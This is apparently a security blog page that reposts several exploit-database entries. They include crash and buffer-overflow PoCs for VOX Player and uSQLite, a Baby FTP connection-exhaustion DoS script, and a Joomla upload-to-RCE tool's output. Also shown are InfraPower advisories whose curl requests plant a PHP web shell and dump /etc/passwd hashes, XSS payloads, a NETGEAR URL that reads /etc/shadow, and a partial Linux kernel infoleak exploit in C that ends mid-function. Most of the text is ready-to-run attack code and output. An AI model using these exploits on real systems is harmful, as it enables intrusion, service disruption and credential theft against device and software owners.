Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108752

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: VOX Music Player 2.8.8 '.pls' Local Crash PoC
# Date: 10-12-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://coppertino.com/vox/mac/
# Software Link: http://dl.devmate.com/com.coppertino.Vox/Vox.dmg
# Version: 2.8.8
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

import os

evil = '\x90'
pls = '[playlist]\n' + 'NumberOfEntries=1\n' +'File1' + evil + '\n' + 'Title1=\n' + 'Length1=-1\n'

file = open('Local_Crash_PoC.pls', 'wb')
file.write(pls)
file.close()
            
#!/usr/bin/python
# Exploit Title: Remote buffer overflow vulnerability in uSQLite 1.0.0 PoC
# Date: 27/10/1016
# Exploit Author: Peter Baris
# Software Link: https://sourceforge.net/projects/usqlite/?source=directory
# Version: 1.0.0
# Tested on: windows 7 and XP SP3

# Longer strings will cause heap based overflow

# usage:  python usqlite.py <host address>

# Output in the debugger

# EAX 0000038C
# ECX 00B0DA10
# EDX 0000038C
# EBX 41414141
# ESP 0028F8D0 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
# EBP 41414141
# ESI 41414141
# EDI 41414141

# EIP 42424242  <-- EIP is under control, but depending on the OS version, you might have issues finding a jump spot without DEP and ASLR.

###############################################################################################################################################

import socket
import sys


if len(sys.argv)<=1:
	print("Usage: python usqlite.py hostname")
	sys.exit()


hostname=sys.argv[1]
port = 3002
buffer = "A"*259+"B"*4+"C"*360

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((hostname,port))
sock.send(buffer +'\r\n')
sock.recv(1024)
sock.close()
            
Source: https://github.com/XiphosResearch/exploits/tree/master/Joomraa

While analysing the recent Joomla exploit in com_users:user.register we came across a problem with the upload whitelisting. They don't allow files containing <?php, or with the extensions .php and .phtml, but they do allow <?= and .pht files, which works out of the box on most hosting environments, including the standard Ubuntu LAMP install, as per:

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
Usage

Choose the username, password and e-mail address to use and point it at the URL for your Joomla website. Use the -x and -s options to customise exploit behaviour, -s searches for the given string in the output after running the PHP file (specified in -x), an example is provided which proves remote code execution.

$ ./joomraa.py -u hacker -p password -e hacker@example.com http://localhost:8080/joomla 

     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://localhost:8080/joomla/images/OGBUHCF5F.pht
[*] Calling exploit
[$] Exploit Successful!
[*] SUCCESS: http://localhost:8080/joomla


Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40637.zip
            
#!/usr/bin/python

### Baby FTP 1.24 - Denial of Service by n30m1nd ### 

# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.pablosoftwaresolutions.com/
# Software Link: http://www.pablosoftwaresolutions.com/download.php?id=1
# Version: 1.24
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script and write the IP to attack.

# Why?
# ====
# The FTP Server can't handle more than ~1505 connections at the same time

# Exploit code
# ============

import socket

ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
	try:
		sarr.append(socket.create_connection((ip,21)))
		print "[+] Connection %d" % i
		crash1 = "A"*500

		sarr[i].send("USER anonymous\r\n" )
		sarr[i].recv(4096)

		sarr[i].send("PASS n30m1nd\r\n" )
		sarr[i].recv(4096)
		i+=1
	except socket.error:
		print "[*] Server crashed!!"
        raw_input()
		break
            
InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from multiple unauthenticated remote command
injection vulnerabilities. The vulnerability exist due to several POST
parameters in several scripts not being sanitized when using the exec(),
proc_open(), popen() and shell_exec() PHP function while updating the
settings on the affected device. This allows the attacker to execute
arbitrary system commands as the root user and bypass access controls in
place.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5372
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5372.php


27.09.2016

--


doupgrate.php:
--------------


09: <?
10: echo "Firmware Upgrate Using NFS:<BR>";
11: echo "IP=".$_POST["ipaddr"]."<BR>";
12: echo "Firmware Name=".$_POST["fwname"]."<BR>";
13: system("sh nfs.sh");
14: echo "Mounting NFS<BR>";
15: system("mount -t nfs -o nolock ".$_POST["ipaddr"].":".$_POST["nfsdir"]." /nfs");
16: system("cp /nfs/".$_POST["fwname"]." /");
17: echo "Flash erasing<BR>";
18: system("@flash_eraseall /dev/mtd0");
19: system("cp /".$_POST["fwname"]." /dev/mtd0");
20: echo "Upgrate done<BR>";
21: system("umount /nfs");
22: echo "Reboot system<BR>";
23: system("reboot");
24: ?>

---------------------------------------------------------------------


IPSettings.php:
---------------


83: $IP_setting = ereg_ip($_POST['IP']);
84: $Netmask_setting = ereg_ip($_POST['Netmask']);
85: $Gateway_setting = ereg_ip($_POST['Gateway']);
...
...
110:                    $fout = fopen("/mnt/mtd/net_conf", "w");
111:                    if($fout){
112:                        $output = substr($output, 0, -1);
113:                        fprintf($fout, "%s", $output);
114:                        //echo $change_ip.'b';
115:                        if($change_ip === '1'){
116:                            $str = '';
117:                            exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
118: //                          echo $str."\n";
119:                        }
120:                        if($change_gw === '1'){
121:                            $str = '';
122:                            exec('ip route del default', $str);
123:                            exec('route add default gw '.$Gateway_setting, $str);
124: //                          echo $str[0]."a\n";
125:                        }
126:                    }
127:                    fclose($fout);
...
...
164:    function ereg_ip($ipstring){ 
165:         $ipstring=trim($ipstring); //移除前後空白 
166:        //格式錯誤 
167:        if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0; 
168:        //內容檢查 
169:        $ip_segment =split("\.",$ipstring); //注意一定要加 "\",否則會分不開。 
170:        foreach($ip_segment as $k =>$v){ 
171:            if($v >255){ 
171:                return 0; 
172:            }
173:            $ip_segment[$k]=(int)$ip_segment[$k]; //消除ip中的0,ex:1.020.003.004 =>1.20.3.4 
174:        } //end foreach 
175:        $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //將字串$ip處理 
176:        return $ipstring; 
177:    }

---------------------------------------------------------------------


Login.php:
----------


126:         $UserName = getConf("/mnt/mtd/web_conf", "UserName");
127:         $Password = getConf("/mnt/mtd/web_conf", "Password");
128:
129:         //echo 'z'.$_POST['ID_User'].';'.$UserName.' Pwd:'.$_POST['ID_Password'].';'.$Password;
130:         if($_POST['ID_User'] === $UserName && $_POST['ID_Password'] === $Password){
...
...
140:             $_SESSION['Login'] = $_POST['ID_User'];
141: 
142:             //Login
143:             $loginTime = date("Y-m-d,H:i:s.0,P");
144:             $remoteIP = $_SERVER['REMOTE_ADDR'];
145: //----------SNMP checking ---Ed 20130307------------------------<
146:             $SNMPEnable = getConf("/mnt/mtd/snmp_conf", "enable");
147:             if ($SNMPEnable == "1") {
148:                 $TrapEnable = getConf("/mnt/mtd/snmp_conf", "trap");
149:                 if ($TrapEnable == "v2Trap") {
150:                     $trapTo = getConf("/mnt/mtd/snmp_conf", "IP");
151:                     shell_exec('/usr/bin/snmptrap -M /usr/share/snmp/mibs/ -c public -v 2c ' . $trapTo . ' \'\' InfraPower-MIB::webLogin InfraPower-MIB::objectDateTime s "' . $loginTime . '"  InfraPower-MIB::userName s "' . $_POST['ID_User'] . '" InfraPower-MIB::webAccessIpAddress s "' . $remoteIP . '"');
152:                     //echo "alert($res);";
153:                 }
154:             }

---------------------------------------------------------------------


Ntp.php:
--------


36: <?php
37: if(empty($_POST['Change']))
38:   $tzone='8';
39: else
40: {
41:
42: $tzone=$_POST['ID_timezone'];
43: $idx=$tzone+12;
44: echo "update status...";
45: exec("/usr/bin/ntpclient  -s -h 220.130.158.71");
46: exec("/usr/bin/zonegen ".$idx);
47: exec("/usr/bin/zic -d /usr/bin/ zonetime");
48: exec("mv /usr/bin/localtime /etc/localtime");
49: echo "OK"; 
50: }
51: ?>

---------------------------------------------------------------------


production_test1.php:
---------------------


4:  if( isset($_POST['macAddress']) )
5:      {
6:          shell_exec("echo ". $_POST['macAddress'] . " > /mnt/mtd/mac_addr");
7:          $mac = shell_exec("cat /mnt/mtd/mac_addr");
8:          /*$result = $fail;
9:          echo $mac . ",";
10:         echo $_POST['macAddress'];
11:         if( !strcmp($mac,$_POST['macAddress']) )
12:             $result = $success;
13:         echo "verify - " . $mac . " - " . $result;*/
14:         echo "verify - " . $mac;
15:
16:         exit();
17:     }

---------------------------------------------------------------------


SNMP.php:
---------


34: if($_POST["SNMPAgent"] === "Enable"){
35:     exec('kill -9 `ps | grep "snmpd -c /mnt/mtd/snmpd.conf" | cut -c 1-5`');
36:     setConf("/mnt/mtd/snmp_conf", "enable", "1");
37:
38:     if(!empty($_POST["CommuintyString"]) && !empty($_POST["CommuintyWrite"]))
39:         {
40:               exec("cp /etc/snmpd.conf /mnt/mtd/snmpd.conf");
41:               exec("sed -i s/public/".$_POST["CommuintyString"]."/g /mnt/mtd/snmpd.conf");
42:               setConf("/mnt/mtd/snmp_conf", "pCommunity", $_POST["CommuintyString"]);
43:               setSnmpConf(1,$_POST["CommuintyString"]);
44:               setSnmpConf(2,$_POST["CommuintyWrite"]);
45:               $pCommunity = $_POST["CommuintyString"];
46:         }

---------------------------------------------------------------------


System.php:
-----------


86:    if(!empty($_POST['ChangeTime']) == "1"){
87:        if(checkdate($_POST['month'], $_POST['day'], $_POST['year']) == 1){
88:
89:        //Ray modify
90:        $datetime = date("mdHiY.s", mktime($_POST['hour']-1,$_POST['minute']-1,$_POST['second']-1,$_POST['month'],$_POST['day'],$_POST['year']));
91:        //$datetime = $_POST['month'].$_POST['day'].$_POST['hour'].$_POST['minute'].$_POST['year'].'.'.$_POST['second'];
92:        
93:
94:        if(isset($_POST['TimeZone'])){
95:            setTimeZone($_POST['TimeZone']);
96:            $orgZone = $_POST['TimeZone'];
97:        }
98:
99:        exec('date '.$datetime);
100:        exec('hwclock -w');
101:        exec('hwclock -w -f /dev/rtc1');
...
...
180:        if(isset($_POST['TimeServer'])){
181:            //$TimeServer = ereg_ip($_POST['TimeServer']);          
182:            if(!empty($_POST['TimeServer'])){
183:            $TimeServer = $_POST['TimeServer'];             
184:
185:                $returnStr = exec("/usr/bin/ntpclient  -s -h ".$TimeServer . " -i 1");
...
...
286: exec('ifconfig eth0 '.$IP_setting.' netmask '.$Netmask_setting, $str);
...
...
292: exec('route add default gw '.$Gateway_setting, $str);
...
...
336:    function ereg_ip($ipstring){
337:         $ipstring=trim($ipstring); //移除前後空白
338:        //格式錯誤
339:        if(!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ipstring))return 0;
340:        //內容檢查
341:        $ip_segment =split("\.",$ipstring); //注意一定要加 "\",否則會分不開。
342:        foreach($ip_segment as $k =>$v){
343:            if($v >255){
344:                return 0;
345:            }
346:            $ip_segment[$k]=(int)$ip_segment[$k]; //消除ip中的0,ex:1.020.003.004 =>1.20.3.4
347:        } //end foreach
348:        $ipstring ="$ip_segment[0].$ip_segment[1].$ip_segment[2].$ip_segment[3]"; //將字串$ip處理
349:        return $ipstring;
350:    }

---------------------------------------------------------------------


UploadEXE.php:
--------------


72:  if(isset($_POST['hasFile'])){
73:      if ($_FILES['ExeFile']['error'] > 0){
74:          echo 'Error: ' . $_FILES['FW']['error'];
75:      }else{
76:          echo 'File Name: ' . $_FILES['ExeFile']['name'].'<br/>';
...
...
80:          move_uploaded_file($_FILES['ExeFile']['tmp_name'], '/ramdisk/'.$_FILES['ExeFile']['name']);
81:          chmod("/ramdisk/".$_FILES['ExeFile']['name'], "0777");
82:          $fp = popen("\"/ramdisk/".$_FILES['ExeFile']['name']."\"", "r");

---------------------------------------------------------------------
---------------------------------------------------------------------
---------------------------------------------------------------------


#1
--

PoC Request:

curl -i -s -k  -X 'POST' \
    -H 'User-Agent: ZSL-Injectinator/3.1 (Unix)' -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'SNMPAgent=Enable&CommuintyString=public|%65%63%68%6f%20%22%3c%3f%70%68%70%20%65%63%68%6f%20%73%79%73%74%65%6d%28%5c%24%5f%47%45%54%5b%27%63%27%5d%29%3b%20%3f%3e%22%20%3Etest251.php%26&CommuintyWrite=private&TrapsVersion=v2Trap&IP=192.168.0.254' \
    'https://192.168.0.17/SNMP.php?Menu=SMP'

...

curl -k https://192.168.0.17/test251.php?c=whoami;echo " at ";uname -a

Response:

root 
 at
Linux A320D 2.6.28 #866 PREEMPT Tue Apr 22 16:07:03 HKT 2014 armv5tel unknown


#2
--

PoC Request:

POST /production_test1.php HTTP/1.1
Host: 192.168.0.17
User-Agent: ZSL-Injectinator/3.1 (Unix)
Content-Type: application/x-www-form-urlencoded
Connection: close

macAddress=ZE:RO:SC:IE:NC:E0;cat /etc/passwd


Response:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.9
Content-type: text/html
Connection: close
Date: Fri, 17 Jan 2003 16:58:52 GMT
Server: lighttpd/1.4.30-devel-1321
Content-Length: 751

verify - root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script
user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script
service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh
www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh
www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh
            
InfraPower PPS-02-S Q213V1 Multiple XSS Vulnerabilities


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from multiple stored and reflected XSS vulnerabilities
when input passed via several parameters to several scripts is not properly
sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected
site.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5369
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5369.php


27.09.2016

--


#################################################################################

GET /SensorDetails.php?Menu=SST&DeviceID=C100"><script>alert(1)</script> HTTP/1.1

#################################################################################

POST /FWUpgrade.php HTTP/1.1
Host: 192.168.0.17
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary207OhXVwesC60pdh
Connection: close

------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="FW"; filename="somefile.php<img src=x onerror=confirm(2)>"
Content-Type: text/php

t00t
------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="upfile"

somefile.php
------WebKitFormBoundary207OhXVwesC60pdh
Content-Disposition: form-data; name="ID_Page"

Firmware.php?Menu=FRM
------WebKitFormBoundary207OhXVwesC60pdh--


#################################################################################

POST /SNMP.php?Menu=SMP HTTP/1.1
Host: 192.168.0.17

SNMPAgent=Enable&CommuintyString=public&CommuintyWrite=private&TrapsVersion=v2Trap&IP=192.168.0.254';alert(3)//

#################################################################################


lqwrm@zslab:~#
lqwrm@zslab:~# ./scanmyphp -v -r -d infrapower -o scan_output.txt
-------------------------------------------------
PHP Source Code Security Scanner v0.2
(c) Zero Science Lab - http://www.zeroscience.mk
Tue Sep 27 10:35:52 CEST 2016
-------------------------------------------------

Scanning recursively...Done.

dball.php:

Line 45: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 45: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_REQUEST'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$Table'


doupgrate.php:

Line 11: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 12: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 15: Command Injection in 'system' via '$_POST'
Line 16: Command Injection in 'system' via '$_POST'
Line 19: Command Injection in 'system' via '$_POST'


Firmware.php:

Line 166: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


Function.php:

Line 257: Header Injection in 'header' via '$_SERVER'
Line 267: Header Injection in 'header' via '$_SERVER'


FWUpgrade.php:

Line 39: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 43: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 44: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 45: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 46: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'


index.php:

Line 2: Header Injection in 'header' via '$_SERVER'


IPSettings.php:

Warning: ereg() function deprecated in PHP => 5.3.0. Relying on this feature is highly discouraged.
Warning: split() function deprecated in PHP => 5.3.0. Relying on this feature is highly discouraged.
Line 117: Command Injection in 'exec' via '$IP_setting'
Line 117: Command Injection in 'exec' via '$Netmask_setting'
Line 123: Command Injection in 'exec' via '$Gateway_setting'


ListFile.php:

Line 12: PHP File Inclusion in 'fgets' via '$fp'


Login.php:

Line 151: Command Injection in 'shell_exec' via '$_POST'


Ntp.php:

Line 46: Command Injection in 'exec' via '$idx'


OutletDetails.php:

Line 78: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 241: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 623: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 674: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 730: Cross-Site Scripting (XSS) in 'echo' via '$row'
Line 732: Cross-Site Scripting (XSS) in 'echo' via '$row'
Line 914: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'


PDUStatus.php:

Line 625: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


production_test1.php:

Line 6: Command Injection in 'shell_exec' via '$_POST'
Line 45: Command Injection in 'proc_open' via '$_ENV'


SensorDetails.php:

Line 844: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 896: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'
Line 1233: Cross-Site Scripting (XSS) in 'echo' via '$DeviceID'


SensorStatus.php:

Line 695: Cross-Site Scripting (XSS) in 'echo' via '$_SERVER'


SNMP.php:

Line 41: Command Injection in 'exec' via '$_POST'


System.php:

Line 54: Header Injection in 'header' via '$_SERVER'
Line 64: Header Injection in 'header' via '$_SERVER'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 99: Command Injection in 'exec' via '$datetime'
Line 185: Command Injection in 'exec' via '$TimeServer'
Line 286: Command Injection in 'exec' via '$IP_setting'
Line 286: Command Injection in 'exec' via '$Netmask_setting'
Line 292: Command Injection in 'exec' via '$Gateway_setting'


UploadEXE.php:

Line 74: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 76: Cross-Site Scripting (XSS) in 'echo' via '$_FILES'
Line 82: Command Injection in 'popen' via '$_FILES'
Line 96: PHP File Inclusion in 'fgets' via '$fp'
Line 96: PHP File Inclusion in 'fgets' via '$buffer'


WriteRequest.php:

Line 96: Cross-Site Scripting (XSS) in 'echo' via '$_POST'
Line 96: Cross-Site Scripting (XSS) in 'echo' via '$Page'
Line 96: Cross-Site Scripting (XSS) in 'echo' via '$Page'


-----------------------------------------------------
Scan finished. Check results in scan_output.txt file.

lqwrm@zslab:~# 
            
#!/bin/sh
# 
#  NETGEAR ADSL ROUTER JNR1010 1.0.0.16
#  Authenticated Remote File Disclosure
#
#  Hardware Version:        JNR1010
#  Firmware Version:        1.0.0.16
#  GUI Language Version:    1.0.0.16
# 
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

http://USER:PASSWORD@TARGET:PORT/cgi-bin/webproc?getpage=/etc/shadow&var:language=en_us&var:language=en_us&var:menu=advanced&var:page=basic_home

#  #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
            
/* sieve (because the Linux kernel leaks like one, get it?)
   Bug NOT discovered by Marcus Meissner of SuSE security
   This bug was discovered by Ramon de Carvalho Valle in September of 2009
   The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
   for the bug (but had forgotten about it until now)
   Ramon's report was sent to Novell's internal bugzilla, upon which 
   some months later Marcus took credit for discovering someone else's bug
   Maybe he thought he could get away with it ;)  Almost ;)

   greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!

   first exploit of 2010, next one will be for a bugclass that has
   afaik never been exploited on Linux before

   note that this bug can also cause a DoS like so:

Unable to handle kernel paging request at ffffffff833c3be8 RIP: 
 [<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0 
Oops: 0000 [1] SMP 
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>]  [<ffffffff800dc8ac>] 
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50  EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS:  00002b8481125810(0000) GS:ffffffff803c0000(0000) 
knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task 
ffff81009d8c4080)
Stack:  ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 
0000000000000000
 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
 [<ffffffff800dd008>] migrate_pages+0x8d/0x42b
 [<ffffffff800dc87b>] new_page_node+0x0/0x48
 [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
 [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
 [<ffffffff8005d28d>] tracesys+0xd5/0xe0


Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff 
RIP  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
 RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/

#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"

#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)

int max_numnodes;

unsigned long node_online_map;

unsigned long node_states;

unsigned long our_base;
unsigned long totalhigh_pages;

#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif

/* random notes I took when writing this (all applying to the 64bit case):

checking in a bitmap based on node_states[2] or node_states[3] 
(former if HIGHMEM is not present, latter if it is)

each node_state is of type nodemask_t, which is is a bitmap of size 
MAX_NUMNODES/8

RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size

so the effective base we're working with is either node_states + 16 or 
node_states + 24

on 2.6.18 it's based off node_online_map

node_isset does a test_bit based on this base

so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))

all the calculations appear to be signed, so we can both index in the 
negative and positive direction, based on ourval

on 64bit, this gives us a 256MB range above and below our base to grab 
memory of 
(by passing in a single page and a single node for each bit we want to 
leak the value of, we can reconstruct entire bytes)

we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/

struct exploit_state *exp_state;

char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";

int get_exploit_state_ptr(struct exploit_state *ptr)
{
	exp_state = ptr;
	return 0;
}

int requires_null_page = 0;

void addr_to_nodes(unsigned long addr, int *nodes)
{
	int i;
	int min = 0x80000000 / 8;
	int max = 0x7fffffff / 8; 

	if ((addr < (our_base - min)) ||
	    (addr > (our_base + max))) {
		fprintf(stdout, "Error: Unable to dump address %p\n", addr);
		exit(1);
	}

	for (i = 0; i < 8; i++) {
		nodes[i] = ((int)(addr - our_base) << 3) | i;
	}

	return;
}

char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
	int nodes[8];
	int node;
	int status;
	int i;
	int ret;
	unsigned char tmp = 0;

	addr_to_nodes(addr, (int *)&nodes);
	for (i = 0; i < 8; i++) {
		node = nodes[i];
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
